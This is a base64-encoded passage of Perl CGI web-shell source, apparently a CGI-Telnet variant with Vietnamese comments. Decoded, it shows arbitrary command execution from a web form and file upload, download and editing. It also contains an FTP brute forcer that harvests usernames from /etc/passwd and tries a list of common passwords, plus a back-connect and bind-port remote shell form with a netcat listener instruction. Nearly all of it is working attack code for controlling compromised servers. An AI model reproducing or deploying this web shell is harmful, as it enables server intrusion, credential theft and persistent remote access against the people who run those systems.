2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCXJldHVybiAmUHJpbnRGaWxlVXBsb2FkRm9ybTsNCg0KCX0NCglteSAkcmVzdWx0PSIiOw0KCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOw0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7DQoJfQ0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50DQoJew0KCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkNCgkJew0KCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7DQoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsNCgkJCWNsb3NlKFVQTE9BREZJTEUpOw0KCQkJJHJlc3VsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQkkcmVzdWx0IC49ICJGYWlsZWQ6ICQhPGJyPiI7DQoJCX0NCgl9DQoJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCg0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCSRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKCRDdXJyZW50RGlyKTsNCglteSAkcmVzdWx0PSIiOw0KCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCgl7DQoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsNCgkJY2hvbXAoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsNCgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQ0KCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7DQoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQ0KCXsNCgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSRyZXN1bHQgLj0mUnVuQ21kOw0KCX0NCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJ1bkNtZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0Ow0KCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJfQ0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQNCgl7DQoJCSR8PTE7DQoJCSRDb21tYW5kIC49ICIgfCI7DQoJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pDQoJCXsNCgkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOw0KCQl9DQoJCSR8PTA7DQoJfQ0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcw0KCXsNCgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygkQ29tbWFuZCk7DQoJfQ0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZvcm0gU2F2ZSBGaWxlIA0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlRm9ybQ0Kew0KCW15ICRyZXN1bHQgPSIiOw0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nY29sb3I6IHllbGxvdzsnID4gQ2Fubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7DQoJCSRyb3dzPSIyMCINCgl9DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCSRSdW5Db21tYW5kID0gImVkaXQgJFJ1bkNvbW1hbmQiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCg0KCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJkZpbGVPcGVuKCRGaWxlLDApKTsNCgkkcmVzdWx0IC49ICI8L3RleHRhcmVhPiI7DQoJJHJlc3VsdCAuPSAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZpbGUgT3Blbg0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIEZpbGVPcGVuKCQpew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJbXkgJGJpbmFyeSA9IHNoaWZ0Ow0KCW15ICRyZXN1bHQgPSAiIjsNCglteSAkbiA9ICIiOw0KCWlmKC1mICRmaWxlKXsNCgkJaWYob3BlbihGSUxFLCRmaWxlKSl7DQoJCQlpZigkYmluYXJ5KXsNCgkJCQliaW5tb2RlIEZJTEU7DQoJCQl9DQoJCQl3aGlsZSAoKCRuID0gcmVhZCBGSUxFLCAkZGF0YSwgMTAyNCkgIT0gMCkgew0KCQkJCSRyZXN1bHQgLj0gJGRhdGE7DQoJCQl9DQoJCQljbG9zZShGSUxFKTsNCgkJfQ0KCX1lbHNlDQoJew0KCQlyZXR1cm4gIk5vdCdzIGEgRmlsZSEiOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiMgU2F2ZSBGaWxlDQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpzdWIgU2F2ZUZpbGUoJCkNCnsNCglteSAkRGF0YT0gc2hpZnQgOw0KCW15ICRGaWxlPSBzaGlmdDsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsNCglpZihvcGVuKEZJTEUsICI+JEZpbGUiKSkNCgl7DQoJCWJpbm1vZGUgRklMRTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJcmV0dXJuIDE7DQoJfWVsc2UNCgl7DQoJCXJldHVybiAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyIEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCcnV0ZUZvcmNlckZvcm0NCnsNCglteSAkcmVzdWx0PSIiOw0KCSRyZXN1bHQgLj0gPDxFTkQ7DQoNCjx0YWJsZT4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPg0KU2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+DQpOb3RlOiBPbmx5IHNjYW4gZnJvbSAxIHRvIDMgdXNlciA6LVM8YnI+DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPg0KRU5EDQpjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOw0KJHJlc3VsdCAuPSA8PCdFTkQnOw0KPC90ZXh0YXJlYT48L3RkPg0KPHRkPg0KDQpQYXNzOjxicj4NCjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MNCjEyMyFAIw0KMTIzYWRtaW4NCjEyM2FiYw0KMTIzNDU2YWRtaW4NCjEyMzQ1NTQzMjENCjEyMzQ0MzIxDQpwYXNzMTIzDQphZG1pbg0KYWRtaW5jcA0KYWRtaW5pc3RyYXRvcg0KbWF0a2hhdQ0KcGFzc2FkbWluDQpwQHNzd29yZA0KcEBzc3cwcmQNCnBhc3N3b3JkDQoxMjM0NTYNCjEyMzQ1NjcNCjEyMzQ1Njc4DQoxMjM0NTY3ODkNCjEyMzQ1Njc4OTANCjExMTExMQ0KMDAwMDAwDQoyMjIyMjINCjMzMzMzMw0KNDQ0NDQ0DQo1NTU1NTUNCjY2NjY2Ng0KNzc3Nzc3DQo4ODg4ODgNCjk5OTk5OQ0KMTIzMTIzDQoyMzQyMzQNCjM0NTM0NQ0KNDU2NDU2DQo1Njc1NjcNCjY3ODY3OA0KNzg5Nzg5DQoxMjMzMjENCjQ1NjY1NA0KNjU0MzIxDQo3NjU0MzIxDQo4NzY1NDMyMQ0KOTg3NjU0MzIxDQowOTg3NjU0MzIxDQphZG1pbjEyMw0KYWRtaW4xMjM0NTYNCmFiY2RlZg0KYWJjYWJjDQohQCMhQCMNCiFAIyQlXg0KIUAjJCVeJiooDQohQCMkJCNAIQ0KYWJjMTIzDQphbmh5ZXVlbQ0KaWxvdmV5b3U8L3RleHRhcmVhPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4NCg0KPG9wdGlvbj4wPC9vcHRpb24+DQo8b3B0aW9uPjE8L29wdGlvbj4NCjxvcHRpb24+Mjwvb3B0aW9uPg0KDQo8b3B0aW9uPjM8L29wdGlvbj4NCjwvc2VsZWN0PiANCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIiLz48L3RkPjwvdHI+DQo8L2Zvcm0+DQo8L3RhYmxlPg0KRU5EDQpyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXINCnsNCglteSAkcmVzdWx0PSIiOw0KCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsNCglpZigkaW57J3VzZXInfSBlcSAiIikNCgl7DQoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJdXNlIE5ldDo6RlRQOyANCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsNCgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsNCgkJY2hvbXAoQHVzZXIpOw0KCQljaG9tcChAcGFzcyk7DQoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOw0KCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpDQoJCXsNCgkJCWlmKCR1c2VybmFtZSBuZSAiIikNCgkJCXsNCgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpDQoJCQkJew0KCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyANCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQ0KCQkJCQl7DQoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsNCgkJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQkJCWJyZWFrOw0KCQkJCQl9DQoJCQkJCWlmKCRpbnsnc2xlZXAnfSBuZSAiMCIpDQoJCQkJCXsNCgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pICogMTAwMCk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI+DQoNCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI2IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+DQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxMiIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJ2aW5ha2lkIj48L3RkPg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY2